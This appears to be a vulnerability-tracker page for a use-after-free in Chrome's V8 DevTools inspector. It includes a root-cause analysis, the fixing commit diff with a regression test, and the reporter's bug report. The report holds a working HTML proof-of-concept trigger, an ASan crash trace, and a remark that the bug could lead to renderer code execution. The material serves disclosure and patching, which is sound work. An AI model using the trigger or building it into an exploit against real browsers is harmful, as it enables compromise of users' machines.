Overview

Medium
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Sub-componentPlatform>DevTools
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker503553614
Fix commit0c247fd801af (v8/v8) +68/-13
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedAlisa Esage (@alisaesage)
Reported2026-04-17 · bounty $3000 (per vendor advisory)
Fix landed2026-04-22 (public git)
Disclosed2026-06-02
Patch gap41 days — fix public in source before the advisory

Background

`InspectedContext`
the inspector’s per-realm object that owns the InjectedScript used to wrap/inspect values for that JavaScript context.
`InjectedScript::ContextScope`
an RAII helper (base of ObjectScope/CallFrameScope) that resolves and caches an InjectedScript* for the duration of an inspector operation via findInjectedScript.
`std::shared_ptr<InspectedContext>`
reference-counted ownership; V8InspectorImpl::getContext returns a shared_ptr, so holding one keeps the InspectedContext (and its InjectedScript) alive.
`Error.prepareStackTrace`
a user-controllable JS callback invoked when an Error’s stack is formatted (e.g. during console.log(new Error(...))), giving script a re-entrancy hook mid-operation.

Root Cause Analysis

The pre-patch V8InspectorSessionImpl::findInjectedScript (in v8-inspector-session-impl.cc) obtained the owning InspectedContext as a local std::shared_ptr but returned only the raw InjectedScript*, letting that shared_ptr drop at function exit. InjectedScript::ContextScope (in injected-script.cc/injected-script.h) therefore cached the bare InjectedScript* without holding any reference to the context that owns it, violating the invariant that a scope must keep its target alive for its whole lifetime. While an inspector operation such as console.log was still using that InjectedScript, user JavaScript re-entered via Error.prepareStackTrace and destroyed the context (the PoC calls inspector.fireContextDestroyed()), freeing the InspectedContext and its InjectedScript; the outer operation then dereferenced the freed pointer on return — a use-after-free.

The fix threads an out-parameter std::shared_ptr<InspectedContext>* inspectedContext through both findInjectedScript overloads and stores it in the new member m_inspectedContext on ContextScope, so the context’s refcount stays elevated for the scope’s duration and the object cannot be freed mid-use.

Key insight
The scope cached a raw InjectedScript* while dropping the only owning reference to its InspectedContext; the fix makes ContextScope co-own the context via a stored std::shared_ptr returned from findInjectedScript, so re-entrant context destruction can no longer free the object still in use.

Attack Path

  1. Set a re-entrancy hook Script assigns a custom Error.prepareStackTrace that will run attacker code during error-stack formatting.
  2. Trigger an inspector operation that resolves an InjectedScript console.log(new Error('trigger')) drives the console/runtime path that opens an InjectedScript::ContextScope and caches the InjectedScript* for the current context.
  3. Destroy the context mid-operation Inside prepareStackTrace, inspector.fireContextDestroyed() tears down the InspectedContext, and with no shared_ptr held by the scope its refcount reaches zero, freeing the InjectedScript.
  4. Use the freed object On return from the callback the inspector operation continues to use the now-dangling InjectedScript*, triggering the use-after-free (inferred: the freed memory could be reclaimed/controlled to escalate beyond a crash).

Impact Assessment

An attacker running script in a renderer with an attached inspector session can free an InjectedScript/InspectedContext while it is still in use, yielding a use-after-free in the V8 inspector; the advisory classifies it as a UAF in V8. Preconditions are an active inspector session and the ability to run JavaScript that installs Error.prepareStackTrace and forces context destruction during a console/inspector operation. Turning the UAF into a read/write primitive or code execution is not demonstrated by the patch and is (inferred).

Changed Functions

FunctionChangeNotes
InjectedScript
src/inspector/v8-inspector-session-impl.h
modified
InspectedContext
src/inspector/v8-inspector-session-impl.h
modified
RemoteObjectIdBase
src/inspector/v8-inspector-session-impl.h
modified
V8ConsoleAgentImpl
src/inspector/v8-inspector-session-impl.h
modified
V8DebuggerAgentImpl
src/inspector/v8-inspector-session-impl.h
modified
setTimeout
test/inspector/console/destroy-context-during-log-error-stack.js
modified

Files Changed

  • src/inspector/injected-script.cc
  • src/inspector/injected-script.h
  • src/inspector/v8-inspector-session-impl.cc
  • src/inspector/v8-inspector-session-impl.h
  • test/inspector/console/destroy-context-during-log-error-stack-expected.txt
  • test/inspector/console/destroy-context-during-log-error-stack.js

Audit Directions

  • Raw pointer cached across re-entrant JS
    Find inspector code that caches a raw InjectedScript*/InspectedContext* while later executing user-controllable JS (stack formatting, custom formatters, getters) that could destroy the owner.
  • Ownership dropped at helper return
    Audit functions that fetch a shared_ptr internally but hand back only a raw pointer/reference; verify the caller retains ownership for the full usage window.
  • Context lifetime vs scope lifetime
    Check every ContextScope/ObjectScope/CallFrameScope consumer for operations that may invoke fireContextDestroyed or otherwise tear down the context mid-scope.
From 0c247fd801af7c8c8a28f526c8e97c095b183087 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <[email protected]>
Date: Tue, 21 Apr 2026 08:14:39 -0700
Subject: [PATCH] Hold a shared pointer to InspectedContext in InjectedScript::ContextScope.

This change ensures that the InspectedContext, and thus the InjectedScript, remains alive for the duration of the InjectedScript::ContextScope. This prevents a Use-After-Free vulnerability that could occur if the context was destroyed while an InjectedScript was still being used, such as during Error.prepareStackTrace called from console.log. A new test is added to reproduce and verify this fix.

Bug: 503553614 
Change-Id: Iec22627e2e465c6dbb094d3bd6cfaadd31b4dfb9
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7780292
Auto-Submit: Danil Somsikov <[email protected]>
Commit-Queue: Benedikt Meurer <[email protected]>
Reviewed-by: Benedikt Meurer <[email protected]>
Reviewed-by: Simon Zünd <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106688}
---

diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index b06bf6c..7aa2af5 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -1100,7 +1100,8 @@
 
 Response InjectedScript::ContextScope::findInjectedScript(
     V8InspectorSessionImpl* session) {
-  return session->findInjectedScript(m_executionContextId, m_injectedScript);
+  return session->findInjectedScript(m_executionContextId, m_injectedScript,
+                                     &m_inspectedContext);
 }
 
 InjectedScript::ObjectScope::ObjectScope(V8InspectorSessionImpl* session,
@@ -1115,7 +1116,8 @@
   Response response = RemoteObjectId::parse(m_remoteObjectId, &remoteId);
   if (!response.IsSuccess()) return response;
   InjectedScript* injectedScript = nullptr;
-  response = session->findInjectedScript(remoteId.get(), injectedScript);
+  response = session->findInjectedScript(remoteId.get(), injectedScript,
+                                         &m_inspectedContext);
   if (!response.IsSuccess()) return response;
   m_objectGroupName = injectedScript->objectGroupName(*remoteId);
   response = injectedScript->findObject(*remoteId, &m_object);
@@ -1136,7 +1138,8 @@
   Response response = RemoteCallFrameId::parse(m_remoteCallFrameId, &remoteId);
   if (!response.IsSuccess()) return response;
   m_frameOrdinal = static_cast<size_t>(remoteId->frameOrdinal());
-  return session->findInjectedScript(remoteId.get(), m_injectedScript);
+  return session->findInjectedScript(remoteId.get(), m_injectedScript,
+                                     &m_inspectedContext);
 }
 
 String16 InjectedScript::bindObject(v8::Local<v8::Value> value,
diff --git a/src/inspector/injected-script.h b/src/inspector/injected-script.h
index 55ccf22..f0630d0 100644
--- a/src/inspector/injected-script.h
+++ b/src/inspector/injected-script.h
@@ -173,6 +173,7 @@
 
     V8InspectorImpl* m_inspector;
     InjectedScript* m_injectedScript;
+    std::shared_ptr<InspectedContext> m_inspectedContext;
 
    private:
     void cleanup();
diff --git a/src/inspector/v8-inspector-session-impl.cc b/src/inspector/v8-inspector-session-impl.cc
index 1abdf32..69518c8 100644
--- a/src/inspector/v8-inspector-session-impl.cc
+++ b/src/inspector/v8-inspector-session-impl.cc
@@ -227,7 +227,8 @@
 }
 
 Response V8InspectorSessionImpl::findInjectedScript(
-    int contextId, InjectedScript*& injectedScript) {
+    int contextId, InjectedScript*& injectedScript,
+    std::shared_ptr<InspectedContext>* inspectedContext) {
   injectedScript = nullptr;
   std::shared_ptr<InspectedContext> context =
       m_inspector->getContext(m_contextGroupId, contextId);
@@ -239,14 +240,17 @@
     if (m_customObjectFormatterEnabled)
       injectedScript->setCustomObjectFormatterEnabled(true);
   }
+  if (inspectedContext) *inspectedContext = context;
   return Response::Success();
 }
 
 Response V8InspectorSessionImpl::findInjectedScript(
-    RemoteObjectIdBase* objectId, InjectedScript*& injectedScript) {
+    RemoteObjectIdBase* objectId, InjectedScript*& injectedScript,
+    std::shared_ptr<InspectedContext>* inspectedContext) {
   if (objectId->isolateId() != m_inspector->isolateId())
     return Response::ServerError("Cannot find context with specified id");
-  return findInjectedScript(objectId->contextId(), injectedScript);
+  return findInjectedScript(objectId->contextId(), injectedScript,
+                            inspectedContext);
 }
 
 void V8InspectorSessionImpl::releaseObjectGroup(StringView objectGroup) {
@@ -289,7 +293,8 @@
   Response response = RemoteObjectId::parse(objectId, &remoteId);
   if (!response.IsSuccess()) return response;
   InjectedScript* injectedScript = nullptr;
-  response = findInjectedScript(remoteId.get(), injectedScript);
+  std::shared_ptr<InspectedContext> inspectedContext;
+  response = findInjectedScript(remoteId.get(), injectedScript, &inspectedContext);
   if (!response.IsSuccess()) return response;
   response = injectedScript->findObject(*remoteId, object);
   if (!response.IsSuccess()) return response;
@@ -311,7 +316,9 @@
                                    const String16& groupName,
                                    bool generatePreview) {
   InjectedScript* injectedScript = nullptr;
-  findInjectedScript(InspectedContext::contextId(context), injectedScript);
+  std::shared_ptr<InspectedContext> inspectedContext;
+  findInjectedScript(InspectedContext::contextId(context), injectedScript,
+                     &inspectedContext);
   if (!injectedScript) return nullptr;
   std::unique_ptr<protocol::Runtime::RemoteObject> result;
   injectedScript->wrapObject(value, groupName,
@@ -326,7 +333,9 @@
                                   v8::Local<v8::Object> table,
                                   v8::MaybeLocal<v8::Array> columns) {
   InjectedScript* injectedScript = nullptr;
-  findInjectedScript(InspectedContext::contextId(context), injectedScript);
+  std::shared_ptr<InspectedContext> inspectedContext;
+  findInjectedScript(InspectedContext::contextId(context), injectedScript,
+                     &inspectedContext);
   if (!injectedScript) return nullptr;
   return injectedScript->wrapTable(table, columns);
 }
diff --git a/src/inspector/v8-inspector-session-impl.h b/src/inspector/v8-inspector-session-impl.h
index 0002c25..d323b47 100644
--- a/src/inspector/v8-inspector-session-impl.h
+++ b/src/inspector/v8-inspector-session-impl.h
@@ -19,6 +19,7 @@
 namespace v8_inspector {
 
 class InjectedScript;
+class InspectedContext;
 class RemoteObjectIdBase;
 class V8ConsoleAgentImpl;
 class V8DebuggerAgentImpl;
@@ -55,8 +56,12 @@
   int contextGroupId() const { return m_contextGroupId; }
   int sessionId() const { return m_sessionId; }
 
-  Response findInjectedScript(int contextId, InjectedScript*&);
-  Response findInjectedScript(RemoteObjectIdBase*, InjectedScript*&);
+  Response findInjectedScript(
+      int contextId, InjectedScript*&,
+      std::shared_ptr<InspectedContext>* inspectedContext = nullptr);
+  Response findInjectedScript(
+      RemoteObjectIdBase*, InjectedScript*&,
+      std::shared_ptr<InspectedContext>* inspectedContext = nullptr);
   void reset();
   void discardInjectedScripts();
   void reportAllContexts(V8RuntimeAgentImpl*);
diff --git a/test/inspector/console/destroy-context-during-log-error-stack-expected.txt b/test/inspector/console/destroy-context-during-log-error-stack-expected.txt
new file mode 100644
index 0000000..7d83634
--- /dev/null
+++ b/test/inspector/console/destroy-context-during-log-error-stack-expected.txt
@@ -0,0 +1,9 @@
+Tests that destroying context from inside Error.prepareStackTrace during console.log does not crash
+{
+    type : string
+    value : Error: trigger
+}
+{
+    type : string
+    value : End of test
+}
diff --git a/test/inspector/console/destroy-context-during-log-error-stack.js b/test/inspector/console/destroy-context-during-log-error-stack.js
new file mode 100644
index 0000000..48d2fe2
--- /dev/null
+++ b/test/inspector/console/destroy-context-during-log-error-stack.js
@@ -0,0 +1,28 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+let {session, contextGroup, Protocol} = InspectorTest.start('Tests that destroying context from inside Error.prepareStackTrace during console.log does not crash');
+
+const expression = `
+  Error.prepareStackTrace = function(error, trace) {
+    inspector.fireContextDestroyed(); // Free InjectedScript
+    return '';
+  };
+  console.log(new Error('trigger')); // UAF triggered on return
+
+  setTimeout(function() {
+    inspector.fireContextCreated();
+    console.log("End of test");
+  }, 0);
+`;
+
+Protocol.Runtime.enable();
+Protocol.Runtime.evaluate({ expression: expression });
+
+Protocol.Runtime.onConsoleAPICalled(function(result) {
Loading diff…

Original Bug Report

reported by [email protected]

Heap-use-after-free in v8_inspector::InjectedScript::wrapObjectMirror due to context destruction in JS callback

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

Please provide a brief explanation of the security issue.

Summary

Heap-use-after-free in InjectedScript::wrapObjectMirror. The v8_inspector::InjectedScript object is freed when its owning InspectedContext is destroyed during a synchronous JavaScript callback. The freed allocation is a renderer-heap object reclaimable from controlled JavaScript, exploitable for renderer code execution with a crafted vtable.

Minimal testcase:

<iframe srcdoc="<script>
setTimeout(function(){
  Error.prepareStackTrace=function(){self.frameElement.remove();return''};
  (function(){var e=new Error;debugger})()
},500)
</script>"></iframe>

Analysis

Chrome DevTools exposes the Runtime CDP domain through the V8 inspector. Value wrapping and expression evaluation are handled by InjectedScript, a per-session scripting interface that produces RemoteObjects for the frontend. Each InjectedScript is scoped to a single JS context, which the inspector tracks as an InspectedContext. The InspectedContext owns all InjectedScript instances associated with that context.

InjectedScript instances are stored as unique_ptr values in InspectedContext::m_injectedScripts (inspected-context.h:86):

// inspected-context.h:70
class InspectedContext {
  [...]
 private:
  [...]
  std::unordered_map<int, std::unique_ptr<InjectedScript>> m_injectedScripts;  // line 86
  [...]
};

The inspector session obtains a raw pointer via findInjectedScript (v8-inspector-session-impl.cc:229):

// v8-inspector-session-impl.cc:229
Response V8InspectorSessionImpl::findInjectedScript(
    int contextId, InjectedScript*& injectedScript) {
  injectedScript = nullptr;
  std::shared_ptr<InspectedContext> context =       // local shared_ptr
      m_inspector->getContext(m_contextGroupId, contextId);
  if (!context)
    return Response::ServerError("Cannot find context with specified id");
  injectedScript = context->getInjectedScript(m_sessionId);
  if (!injectedScript) {
    injectedScript = context->createInjectedScript(m_sessionId);
    [...]
  }
  return Response::Success();
}  // shared_ptr destroyed here — no owner remains

The shared_ptr<InspectedContext> exists only for the duration of this function. The caller receives a raw InjectedScript* and stores it in the Scope object (injected-script.h:174):

// injected-script.h:78
class InjectedScript final {
  [...]
  class Scope {  // line 154
    [...]
   protected:
    V8InspectorImpl* m_inspector;
    InjectedScript* m_injectedScript;   // raw pointer — no shared_ptr<InspectedContext>
    [...]
  };
  [...]
};

Once findInjectedScript returns, nothing holds the InspectedContext alive. InjectedScript is unique_ptr-owned by InspectedContext, so destroying the context frees the InjectedScript with it. The vulnerability window is any wrapping operation that can reach user JavaScript while the raw InjectedScript* is live. wrapObject is one such site (injected-script.cc:610):

// injected-script.cc:610
Response InjectedScript::wrapObject(
    v8::Local<v8::Value> value, const String16& groupName,
    const WrapOptions& wrapOptions,
    v8::MaybeLocal<v8::Value> customPreviewConfig, int maxCustomPreviewDepth,
    std::unique_ptr<protocol::Runtime::RemoteObject>* result) {
  v8::Local<v8::Context> context = m_context->context();  // valid use
  v8::Context::Scope contextScope(context);
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // ← sync JS entry
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, groupName, wrapOptions, customPreviewConfig,
                          maxCustomPreviewDepth, result);  // ← UAF site
}

The PoC demonstrates a scenario where DevTools sends Runtime.getProperties while paused in the iframe context. getProperties builds property mirrors for the paused scope’s local variables, then calls wrapObjectMirror directly for each (injected-script.cc:450):

// injected-script.cc:440
for (const PropertyMirror& mirror : mirrors) {
  [...]
  if (mirror.value) {
    Response response = wrapObjectMirror(
        *mirror.value, groupName, wrapOptions, v8::MaybeLocal<v8::Value>(),
        kMaxCustomPreviewDepth, &remoteObject);
    [...]
  }
  [...]
}

wrapObjectMirror calls ValueMirror::getProperties to enumerate the object’s properties. Inside that loop, each property’s value mirror is created via ValueMirror::create (value-mirror.cc:1613):

// value-mirror.cc:1613
if (!descriptor.value.IsEmpty()) {
  valueMirror = ValueMirror::create(context, descriptor.value);  // ← escape point
}

For the local Error variable, descriptor.value is the Error object. ValueMirror::create dispatches to descriptionForError for IsNativeError() values (value-mirror.cc:1807):

// value-mirror.cc:1807
std::unique_ptr<ValueMirror> ValueMirror::create(v8::Local<v8::Context> context,
                                                 v8::Local<v8::Value> value) {
  [...]
  if (!value->IsObject()) return nullptr;
  v8::Local<v8::Object> object = value.As<v8::Object>();
  [...]
  if (object->IsNativeError()) {
    return std::make_unique<ObjectMirror>(object,
                                          RemoteObject::SubtypeEnum::Error,
                                          descriptionForError(context, object));
  }
  [...]
}

descriptionForError builds the display string, reading .name, .message, and .stack from the Error object. The .stack read is where control reaches user JavaScript (value-mirror.cc:305):

// value-mirror.cc:305
String16 descriptionForError(v8::Local<v8::Context> context,
                             v8::Local<v8::Object> object) {
  [...]
  {
    v8::Local<v8::Value> stackValue;
    if (getErrorProperty(context, object, toV8String(isolate, "stack"))
            .ToLocal(&stackValue) && stackValue->IsString()) { [...] }
  }
  [...]
}

Note that getErrorProperty attempts to prevent user code execution by checking whether the property is backed by a user-defined getter (value-mirror.cc:261), which my testcase bypasses:

// value-mirror.cc:261
v8::MaybeLocal<v8::Value> getErrorProperty(v8::Local<v8::Context> context,
                                           v8::Local<v8::Object> object,
                                           v8::Local<v8::String> name) {
  v8::Isolate* isolate = v8::Isolate::GetCurrent();
  v8::TryCatch tryCatch(isolate);
  v8::MicrotasksScope microtasksScope(context,
                                      v8::MicrotasksScope::kDoNotRunMicrotasks);
  v8::Local<v8::Value> descriptor;
  if (!object->GetOwnPropertyDescriptor(context, name).ToLocal(&descriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptor->IsObject()) return object->Get(context, name);

  v8::Local<v8::Object> descriptorObject = descriptor.As<v8::Object>();
  v8::Local<v8::Value> getDescriptor;
  if (!descriptorObject->HasOwnProperty(context, toV8String(isolate, "get"))
           .FromJust()) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptorObject->Get(context, toV8String(isolate, "get"))
           .ToLocal(&getDescriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }

  if (getDescriptor->IsFunction()) {
    v8::Local<v8::Function> function = getDescriptor.As<v8::Function>();
    if (deepBoundFunction(function)->ScriptId() !=
        v8::UnboundScript::kNoScriptId) {
      return v8::MaybeLocal<v8::Value>();  // skip user-defined getters
    }
  }

  return object->Get(context, name);  // (→ ErrorStackGetter)
}

The function installs a kDoNotRunMicrotasks scope and tries to detect user-defined getters by checking the getter’s ScriptId: if it is not kNoScriptId, it belongs to user code and is skipped. However, .stack on a native Error is not a user-defined getter — it is a FunctionTemplate-backed C++ accessor installed by V8 at bootstrap, which carries no script ID. The guard evaluates to false, and the function falls through to object->Get(context, name).

The stack property is installed on every Error subtype’s initial map as an AccessorPair backed by a FunctionTemplate (bootstrapper.cc:1582):

// bootstrapper.cc:1582
{  // stack
  DirectHandle<AccessorPair> new_pair = factory->NewAccessorPair();
  new_pair->set_getter(*factory->error_stack_getter_fun_template());
  new_pair->set_setter(*factory->error_stack_setter_fun_template());
  Descriptor d = Descriptor::AccessorConstant(factory->stack_string(),
                                              new_pair, DONT_ENUM);
  initial_map->AppendDescriptor(isolate, &d);
}

The getter template wraps Accessors::ErrorStackGetter (setup-heap-internal.cc:1527):

// setup-heap-internal.cc:1527
// Error.stack accessor callbacks and their SharedFunctionInfos:
{
  function_template = ApiNatives::CreateAccessorFunctionTemplateInfo(
      isolate_, Accessors::ErrorStackGetter, 0,
      SideEffectType::kHasSideEffect);
  [...]
  set_error_stack_getter_fun_template(*function_template);
}

ErrorStackGetter calls ErrorUtils::GetFormattedStack → FormatStackTrace, which invokes the user-supplied Error.prepareStackTrace synchronously (accessors.cc:905):

// accessors.cc:905
void Accessors::ErrorStackGetter(
    const v8::FunctionCallbackInfo<v8::Value>& info) {
  [...]
  if (IsJSObject(*maybe_error_object)) {
    if (!ErrorUtils::GetFormattedStack(isolate,
                                       Cast<JSObject>(maybe_error_object))
             .ToHandle(&formatted_stack)) {
      return;
    }
  }
  [...]
}

The kDoNotRunMicrotasks scope provides no protection here — microtask suppression does not prevent synchronous C++ callbacks from calling into user JavaScript.

The user’s prepareStackTrace callback calls self.frameElement.remove(). This triggers a synchronous frame detach in Blink, which reaches the V8 inspector’s context teardown freeing the object. Call flow:

→ V8InspectorImpl::contextDestroyed             (v8-inspector-impl.cc:303)
  → contextCollected                            (v8-inspector-impl.cc:309)
    → discardInspectedContext                   (v8-inspector-impl.cc:441)
      → m_contexts[groupId]->erase(contextId)  // map ref dropped; 2 locals still alive
    ← discardInspectedContext returns           // its shared_ptr dies → refcount 1
  ← contextCollected returns                   // its shared_ptr dies → refcount 0
    → ~InspectedContext                         (inspected-context.cc:105)
      → ~m_injectedScripts                      // unordered_map<int, unique_ptr<InjectedScript>>
        → ~InjectedScript                       ← freed

When prepareStackTrace returns, execution unwinds back through FormatStackTrace → ErrorStackGetter → object->Get → getErrorProperty → descriptionForError → ValueMirror::create, and arrives back in wrapObject (injected-script.cc:610):

// injected-script.cc:610
Response InjectedScript::wrapObject(...) {
  [...]
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // returns here
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, ...);  // method call on freed `this`
}

wrapObjectMirror reads m_customPreviewEnabled and m_sessionId from the freed object, then dereferences m_context (injected-script.cc:623):

// injected-script.cc:623
Response InjectedScript::wrapObjectMirror(...) {
  int customPreviewEnabled = m_customPreviewEnabled;
  int sessionId = m_sessionId;
  v8::Local<v8::Context> context = m_context->context();  // UAF: this and m_context freed

This causes a re-use of unowned memory behind the freed InjectedScript object.

VERSION

Chrome Version: 149.0.7779.0 (Developer Build with AddressSanitizer) (arm64)
Operating System: macOS Version 15.6 (Build 24G84)

REPRODUCTION CASE

Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.

Steps to reproduce

  1. python server.py
  2. Open DevTools in Chrome
  3. Navigate to localhost:8080/poc.html

Expectation: instant crash under asan (Sad Tab), 100% reliable

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer process
Crash State:

=================================================================
==7173==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000e9948 at pc 0x000306717170 bp 0x00016f8a0290 sp 0x00016f8a0288
READ of size 1 at 0x6110000e9948 thread T0
==7173==WARNING: invalid path to external symbolizer!
==7173==WARNING: Failed to use and restart external symbolizer!
    #0 0x00030671716c in v8_inspector::InjectedScript::wrapObjectMirror(v8_inspector::ValueMirror const&, v8_inspector::String16 const&, v8_inspector::WrapOptions const&, v8::MaybeLocal<v8::Value>, int, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::RemoteObject, std::__Cr::default_delete<v8_inspector::protocol::Runtime::RemoteObject>>*)+0xbfc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x671716c)
    #1 0x0003067150e8 in v8_inspector::InjectedScript::getProperties(v8::Local<v8::Object>, v8_inspector::String16 const&, bool, bool, bool, v8_inspector::WrapOptions const&, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::ExceptionDetails, std::__Cr::default_delete<v8_inspector::protocol::Runtime::ExceptionDetails>>*)+0x504 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67150e8)
    #2 0x0003067ecb54 in v8_inspector::V8RuntimeAgentImpl::getProperties(v8_inspector::String16 const&, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::InternalPropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::InternalPropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor, std::__Cr::default_delete<v8_inspector::protocol::Runtime::PrivatePropertyDescriptor>>>>>>*, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::ExceptionDetails, std::__Cr::default_delete<v8_inspector::protocol::Runtime::ExceptionDetails>>*)+0x2c4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67ecb54)
    #3 0x0003066fe948 in v8_inspector::protocol::Runtime::DomainDispatcherImpl::getProperties(v8_crdtp::Dispatchable const&)+0x2b0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x66fe948)
    #4 0x000306833890 in v8_crdtp::UberDispatcher::DispatchResult::Run()+0x74 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x6833890)
    #5 0x0003067d7f48 in v8_inspector::V8InspectorSessionImpl::dispatchProtocolMessage(v8_inspector::StringView)+0x3cc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67d7f48)
    #6 0x00031e6bee58 in blink::DevToolsSession::DispatchProtocolCommandImpl(int, blink::String const&, base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>)+0x3cc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e6bee58)
    #7 0x00031e6bf438 in non-virtual thunk to blink::DevToolsSession::DispatchProtocolCommand(int, blink::String const&, base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>)+0x19c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e6bf438)
